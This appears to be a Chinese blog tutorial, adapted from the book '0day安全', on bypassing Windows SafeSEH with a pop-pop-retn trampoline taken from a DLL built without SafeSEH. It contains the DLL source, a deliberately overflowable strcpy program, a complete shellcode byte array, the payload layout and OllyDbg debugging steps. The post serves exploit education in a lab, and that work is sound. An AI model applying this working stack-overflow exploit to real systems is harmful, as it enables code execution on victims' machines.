SafeSEH Exploit——利用未启用SafeSEH的DLL

实验内容和代码均修改自《0day安全》第二版

实验环境

操作系统: Windows XP SP3 DEP关闭
EXE编译器: Visual Studio 2008
DLL编译器: VC++6.0 dll 基址设置 /base:"0x11120000"
编译选项: 禁用优化 (/0d)
build版本: release版本

实验原理

结合之前的内容,可以了解到对于未启用 SafeSEH 的 dll 中的函数,如果该函数被调用作为异常处理函数,只要不包含中间语言(IL),这个函数就可以通过 SafeSEH 机制的校验,进而被执行。

为了绕过 SafeSEH 的校验,我们常常选择一个跳板作为伪造的异常处理函数来“骗”过校验。包括之前堆中的 shellcode,这里未启用 SafeSEH 的模块,以及之后会提到的加载模块之外的指令跳板。区别在于对于堆来说 shellcode 存放在堆中;而这里的shellcode需要从“异常处理函数”返回到栈中来执行。

但从原理上来说,这些思想在实现 溢出-借助跳板-执行shellcode 的思路上都是大同小异的。

实验代码

先是用 VC++6.0 编译的DLL文件,源码如下:

// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
    pop eax
    pop eax
    retn
    }
}

由于VC++6.0 编译的DLL默认基址为0x10000000,即我们需要的跳板地址中包含了 0x00 ,会截断 strcpy ,所以这里需要更改一下工程选项,将默认的基址改掉,这里改为/base:"0x11120000"。



(注:或许第一次接触的话会疑惑为什么改了以后装载基址中还是含有0x00。其实,DLL 文件中,代码片还有一个偏移量,一般是 0x1000 ,而最低位的 0x00 也会被我们需要的跳板代码的起始位置所替换,所以最后使用的跳板地址中便不会含有 0x00 了。)

接下来是 VS2008 编译的EXE:


#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=


"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);  
    int zero=0;
    __try
    {
        zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    char str[200];
    //__asm int 3
    test(shellcode);
    return 0;
}

大致思路与之前一致,在这里先装载了一个未启用 SafeSEH 的DLL,在 test 函数中通过 strcpy 制造溢出,湮没异常处理函数指针指向该DLL,再刻意制造了一个除零异常,借助该DLL中 pop pop retn 指令作为跳板,绕过 SafeSEH 校验,并劫持程序返回栈中执行 shellcode 。

调试过程

由于 DLL 装载地址是固定的,这里我采用 OD 直接打开该程序进行调试。
找到 main 函数跟进,执行完 LoadLibrary 后,使用 OllySEEH 插件查看加载的 DLL 的 SafeSEH 情况。

可以看到该 DLL 的加载基址为之前设置的0x11120000。
如果之前没有分析过 DLL ,可以先用 LordPE 打开该 DLL 文件,结构就一目了然了。

得到装载基址为 0x11120000,代码片的偏移为 0x1000,即我们在这个 DLL 中添加的pop pop retn指令可以从0x11121000开始找。

接下来转到该位置查看设定的 pop pop retn 指令位置,在后面的 code 中也有别的可以利用的 pop pop retn 指令(如下图 0x11121017 处),这里我们用的是自主添加的位置 0x11121012 的指令作为跳板。

确定好跳板地址后,我们跟进程序,进入 test 函数执行流程,在 strcpy 函数执行完毕处中断:
(只要尝试跟进字符串复制流程即可发现,strcpy 执行时是一个字节一个字节覆盖的,所以只要简单地定位到 jnz 的下一条指令即可定位到 strcpy 完成处,完成处还会将 0x00 添加到字符串尾,如这里的 mov dword ptr ss:[ebp-0x1c], 0x0 这条指令,用来表示字符串结束。)

再观察栈的情况可以看到字符串的起始地址为 0x0012FDB8

另外由于 SEH 节点是保存在栈中的,一般距离当前栈帧最近的 SEH 节点位于 ESP 下方(高位),往后翻即可看到,当然也可以直接通过 OD 查看 SEH Chain 。

得到最近的节点位于 0x0012FE90 ,所以最近的异常处理函数指针位于 0x0012FE90 + 4 的位置(前四个字节指向下一个节点,当然这里只有这一个异常处理节点)。

到这里,调试已经接近尾声了,可是还没有完全成功。结合上面 strcpy 执行完成后的汇编指令以及之前的源代码,这里有一个细节:VS2008 编译的函数,在进入 __try{} 语句块时,会在 Security Cookie + 4 的位置压入一个值 。这个值会根据该语句块在函数中的位置而修改成不同的值。

例如两个 __try{} 语句块,进入第一个时该值为 0 ,进入第二个时为1。出现异常或处理完毕后赋值为 -2(VS2008 编译的为-2,VC++6.0 中为 -1) 。

该值在异常处理中还有其他用途,这里不做展开。然而,它对我们的 shellcode 可能会造成影响,即可能会截断我们的机器码。

由上图可以看到,如果在shellcode 的 pop pop retn 地址后直接跟上我们的机器码,那么势必会被这个异常处理的值给破坏。所以我们再加上8个 \x90 的填充即可。

最后经过计算,shellcode 的整体布局为:220个字节的 \x90 填充,4字节的跳板地址,8字节的填充,168字节的机器码。

F9 让程序继续执行即可看到弹出对话框



你以为结束了?
其实这里还有另外两个小插曲。

第一个小插曲:
一个是我们这里劫持的程序流程位于shellcode的起始位置,而shellcode中的一部分已经被跳板的地址和 __try{} 语句块需要的值给污染了,虽然很幸运地在这里这两处污染不会影响程序逻辑,但谨慎点总是好的。故而我们这里可以将 shellcode 起始位置处的 \x90\x90 改为一个简单的短跳转,短转移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E,因为 jmp 跳转基址是按照下一条指令来确定的,要减去两个字节的短转移指令长。

如果难以清晰理解的话可以参见下图:


我们只要构造短转移指令机器码0xEB0E (EB 为短转移指令机器码),置入0x0012FE90对应的 shellcode 位置,如此便不用担心 shellcode 被污染的问题了。

第二个小插曲:
我们选择pop pop retn的原因是,在进入异常函数处理之时,栈的情况是 esp +8 的位置保存了处理该异常的 SEH 节点首地址 0x0012FE90 ,那为什么这个地址会入栈呢?

简单地讲,在通过 SEH 进行异常处理的时候,会先把当前 SEH 节点的首地址,也就是 nextSEH 的指针压入栈( 正常情况下,如果第一个节点无法处理该异常,转向下一节点),然后压进去两个现场相关的参数。所以两次 pop 之后,retn 指令赋值给 eip 的内容自然是当前 SEH 节点的首地址 0x0012FE90 了。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,968评论 6 482
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,601评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 153,220评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,416评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,425评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,144评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,432评论 3 401
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,088评论 0 261
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,586评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,028评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,137评论 1 334
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,783评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,343评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,333评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,559评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,595评论 2 355
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,901评论 2 345

推荐阅读更多精彩内容